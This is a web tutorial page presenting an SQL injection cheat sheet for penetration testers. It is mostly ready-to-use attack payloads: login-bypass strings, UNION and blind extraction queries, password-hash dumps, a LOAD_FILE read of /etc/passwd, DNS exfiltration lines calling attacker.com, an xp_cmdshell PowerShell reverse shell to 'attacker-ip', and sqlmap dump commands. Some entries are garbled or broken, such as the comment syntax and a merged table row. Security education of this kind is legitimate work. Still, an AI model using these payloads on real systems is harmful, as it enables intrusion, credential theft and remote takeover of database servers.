Open In App

SQL Injection Cheat Sheet

Last Updated : 24 Feb, 2025
Comments
Improve
Suggest changes
Like Article
Like
Report

SQL injection is a prevalent web security vulnerability where hackers place malicious SQL code in a website's database. This can enable them to steal, alter, or delete information. Ethical hackers check for such vulnerabilities to avoid attacks, as SQL injection is one of the most used hacking methods today.

SQL Injection Cheat Sheet

Common SQL Injection Types:

  • Error-Based SQL Injection – In this it relies on error messages that is thrown by database or servers so that we know about the database structures or obtain the information regarding the database structure
  • Union-Based SQL Injection – In this we uses the UNION SQL with two or more SELECT statement to combine and retrieve additional database records.
  • Boolean-Based Blind SQL Injection – It extracts the data by observing database responses depending on whether the query returns a TRUE or FALSE result.
  • Time-Based Blind SQL Injection – In this it attackers craft SQL queries that force the database to delay its response we can Uses SLEEP() or WAITFOR DELAY to check for vulnerabilities.
  • Out-of-Band SQL Injection – In this it relies on specific database server features, uses a different channel than the initial attack to retrieve data or exfiltrates data using DNS requests or HTTP requests.

The whole purpose of the Cheat Sheet is to provide you with some quick, accurate ready-to-use commands and necessary Sqlmap queries to help you with SQL Injections.

SQL Injection Cheat Sheet: Commands, Payloads & Exploits

SQL injection (SQLi) is allows attackers to manipulate the database by inserting the malicious SQL queries in user input so it is a critical web security vulnerability.

1. Basic SQL Injection Payload

Bypassing Authentication: Login bypass using SQL injection:

CategorySQL Injection CommandDescription
Bypassing Authentication' OR 1=1 --
" OR "1"="1"
admin' --
' OR '1'='1' --
Logs in without valid credentials by always evaluating TRUE.
Example of a Vulnerable QuerySELECT * FROM users WHERE username = 'admin' AND password = '';If injected, ' OR 1=1 -- always evaluates as TRUE, bypassing authentication.
Extracting Database VersionSELECT @@version; (MySQL, MSSQL)
SELECT version(); (PostgreSQL)
SELECT banner FROM v$version; (Oracle)
Identifies database version, helping attackers launch targeted exploits.
Finding Current Database UserSELECT user(); (MySQL, PostgreSQL)
SELECT system_user; (MSSQL)
SELECT session_user; (PostgreSQL)
Retrieves the current database user, useful for privilege escalation.

2. UNION-Based SQL Injection

This method uses the UNION SQL statement to combine results from multiple queries, allowing attackers to retrieve sensitive data from a database.

SQL Injection TypeCommandDescription
Retrieve Data Using UNION' UNION SELECT null, username, password FROM users --Extracts usernames & passwords.
Determine Column Count' ORDER BY 3 --Identifies the number of available columns.

3. Error-Based SQL Injection

This technique forces the database to generate error messages, which can expose database structure and table names.

SQL Injection TypeCommandDescription
Database Error Retrieval' UNION SELECT 1,2,3,4,5,@@version --Retrieves database version by causing an error.

4. Boolean-Based Blind SQL Injection

This method exploits applications that return different responses based on TRUE or FALSE conditions.

SQL Injection TypeCommandDescription
Database Name Extraction' AND (SELECT SUBSTRING(database(),1,1))='A' --Confirms if database name starts with 'A'.

5. Time-Based Blind SQL Injection

Injects time delays to determine if a SQLi vulnerability exists.

SQL Injection TypeCommandDescription
MySQL - Time Delay' OR IF(1=1, SLEEP(5), 0) --Delays response by 5 seconds.
MSSQL - Time Delay' OR 1=1; WAITFOR DELAY '0:0:5' --Delays response by 5 seconds in MSSQL.

6. Extracting Data from Different Databases

SQL Injection can be used to list database names, tables, and columns.

DatabaseCommandDescription
MySQL - Extract DatabasesSELECT schema_name FROM information_schema.schemata;Lists all databases.
MSSQL - Extract DatabasesSELECT name FROM master.dbo.sysdatabases;Retrieves database names.
Oracle - Extract TablesSELECT table_name FROM all_tables;Retrieves all table names.

7. Extracting Table and Column Names

After listing databases, the next step is to extract tables and column names.

DatabaseCommandDescription
MySQL - Extract TablesSELECT table_name FROM information_schema.tables;Lists all tables.
MSSQL - Extract TablesSELECT name FROM sysobjects WHERE xtype='U';Lists table names.
Oracle - Extract ColumnsSELECT column_name FROM all_tab_columns WHERE table_name='USERS';Lists column names.

8. SQL Injection Commands for Different Databases

TaskOracleMSSQLPostgreSQLMySQL
String Concatenation`'foo''bar'`'foo'+'bar'
Extracting a SubstringSUBSTR('foobar', 4, 2)SUBSTRING('foobar', 4, 2)SUBSTRING('foobar', 4, 2)SUBSTRING('foobar', 4, 2)
Comment Syntax--comment--comment or /*comment*/--comment or /*comment*/#comment or -- comment
Database VersionSELECT banner FROM v$versionSELECT @@versionSELECT version()SELECT @@version
List TablesSELECT * FROM all_tablesSELECT * FROM information_schema.tablesSELECT * FROM information_schema.tablesSELECT * FROM information_schema.tables

9. Out-of-Band (OOB) SQL Injection

This technique sends stolen data to an external server.

SQL Injection TypeCommandDescription
DNS Exfiltration AttackSELECT load_file(CONCAT('\\\\',(SELECT database()),'.attacker.com\\data.txt'));Sends database data to an external server.

10. Checking Database Privileges

Database privileges play a crucial role in security, as unauthorized users with elevated access can perform privilege escalation attacks

Privilege CheckCommandDescription
List Current UsersSELECT user(); (MySQL)
SELECT current_user; (PostgreSQL)
Displays current database user.
List All Users (MySQL)SELECT user, host FROM mysql.user;Lists all database users.
Admin Privileges (MySQL)SHOW GRANTS FOR 'root'@'localhost';Shows admin privileges.

11. Executing System Commands via SQL Injection

SQL injection can be used to execute system commands on the database server, potentially allowing attackers to gain full control over the system

TaskCommandDescription
Execute System Command (MSSQL)EXEC xp_cmdshell 'whoami';Executes whoami command on Windows.
Execute Linux Commands (MySQL)SELECT sys_exec('id');Retrieves system user ID.
Create a Reverse Shell (MSSQL)EXEC xp_cmdshell 'powershell -c "$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',4444);..."'Opens a remote shell for an attacker.

12. Time-Based SQL Injection

Time-based SQL Injection is used to determine whether a database is vulnerable by forcing a time delay in response.

TaskOracleMSSQLPostgreSQLMySQL
Time Delaydbms_pipe.receive_message(('a'),10)WAITFOR DELAY '0:0:10'SELECT pg_sleep(10)SELECT SLEEP(10)

13. DNS-Based SQL Injection

Attackers can use SQLi to trigger DNS lookups.

TaskOracleMSSQLPostgreSQLMySQL
Trigger DNS LookupSELECT UTL_INADDR.get_host_address('attacker.com');exec master..xp_dirtree '//attacker.com/a'copy (SELECT '') to program 'nslookup attacker.com'LOAD_FILE('\\\\attacker.com\\a')

Basics of SQL: 

The following table provides fundamental SQL queries that can help in retrieving information about databases, users, tables, and system configurations. These queries are essential for database management, penetration testing, and security assessments.

S. No.

Parameters

SQL Queries/Examples

1.

Version

SELECT @@version;

2.

Comments

/ / or #

3.

Current user

SELECT user(); || SELECT system­_user()

4.

List users

SELECT user FROM mysql.u­ser;

5.

List password hashes

SELECT host, user, password FROM mysql.u­ser;

6.

Current Database

SELECT database()

7.

List databases

SELECT schema­_name FROM inform­ati­on_­sch­ema.sc­hemata; || SELECT distin­ct(db) FROM mysql.db

8.

List tables

SELECT table_­sch­ema­,ta­ble­_name FROM inform­ati­on_­sch­ema.tables WHERE table_­schema != ‘mysql’ AND table_­schema != ‘infor­mat­ion­_sc­hema’

9.

List columns

SELECT table_­schema, table_­name, column­_name FROM inform­ati­on_­sch­ema.co­lumns WHERE table_­schema != ‘mysql’ AND table_­schema != ‘infor­mat­ion­_sc­hema’

10.

Find Tables From Column Name

SELECT table_­schema, table_name FROM inform­ati­on_­sch­ema.co­lumns WHERE column­_name = ‘usern­ame’;

11.

Time delay

SELECT BENCHM­ARK­(10­000­00,­MD5­(‘A’)); SELECT SLEEP(5); # >= 5.0.12

12.

Local File Access

UNION ALL SELECT LOAD_F­ILE­(‘/­etc­/pa­sswd’) 

13.

Hostna­me/IP Address

SELECT @@host­name;

14.

Create user

CREATE USER test1 IDENTIFIED BY ‘pass1′;

15.

Delete user Location of the db file

SELECT @@datadir;

Basic Commands of SQLMap:

SQLMap is an automated SQL injection tool that helps security professionals detect and exploit SQLi vulnerabilities in web applications.

S. No

Parameters

SQLMap Queries Syntax

1.

To Attack a database of a Vulnerable Website

sqlmap -u "Vulnerable URL" --dbs

2.

To get tables from a database of Vulnerable Website

sqlmap -u "Vulnerable URL" --table -D [Name of database]

3.

To get columns of a table on the Vulnerable Website

sqlmap -u "Vulnerable URL" --columns -D [Name of database] -T [table name]

4.

To dump all values of the table of Vulnerable Website

sqlmap -u "Vulnerable URL" --dump -D [Name of database] -T [table name]

Manually Attacks on SQLMap:

SQLMap is an automated tool for detecting and exploiting SQL Injection vulnerabilities, but manual attacks can sometimes be necessary for precise exploitation.

S. No.Manually Attack ParametersSQLMap Queries/Examples
1.Quick detect INTEGERSselect 1 and row(1,­1)>­(select count(),conc­at(­CON­CAT­(@@­VER­SIO­N),­0x3­a,f­loo­r(r­and()2))x from (select 1 union select 2)a group by x limit 1))
2.Quick detect STRINGS'+(select 1 and row(1,­1)>­(select count(),conc­at(­CON­CAT­(@@­VER­SIO­N),­0x3­a,f­loo­r(r­and()2))x from (select 1 union select 2)a group by x limit 1))+'
3.Clear SQL Testproduc­t.p­hp?id=4 produc­t.p­hp?­id=5-1 produc­t.p­hp?id=4 OR 1=1 produc­t.p­hp?­id=-1 OR 17-7=10
4.Blind SQL InjectionSLEEP(­25)-- SELECT BENCHM­ARK­(10­000­00,­MD5­('A'));
5.Real world sample of SQL injectionProduc­tID=1 OR SLEEP(­25)=0 LIMIT 1-- Produc­tID=1) OR SLEEP(­25)=0 LIMIT 1-- Produc­tID=1' OR SLEEP(­25)=0 LIMIT 1-- Produc­tID=1') OR SLEEP(­25)=0 LIMIT 1-- Produc­tID=1)) OR SLEEP(­25)=0 LIMIT 1-- Produc­tID­=SELECT SLEEP(­25)--

Read more about SQLMAP: How to use SQLMAP to test a website for SQL Injection vulnerability

Also Read:

Conclusion

SQL Injection (SQLi) is a serious web security weakness that enables attackers to tamper with databases, retrieve confidential files or sensitive data, and run harmful tasks through the insertion of specifically designed SQL queries. This cheat sheet contains vital SQL injection payloads, commands, and tips that will help penetration testers and ethical hackers to find and use weaknesses in applications.

The Out-of-Band SQL Injection type is the latest to be discovered and has unique characteristics. This type of injection is different from the rest because it doesn’t depend on the application’s response, and therefore falls into its own category. Other types include: Error Based SQL Injection; Union Based SQL Injection; Blind SQL Injection which incorporates Boolean Based and Time Based types.

The guide also includes automation performed by SQLMap, manual SQL injection techniques, and database specific queries for privilege escalation, credential dumping and database fingerprinting.


Next Article

Similar Reads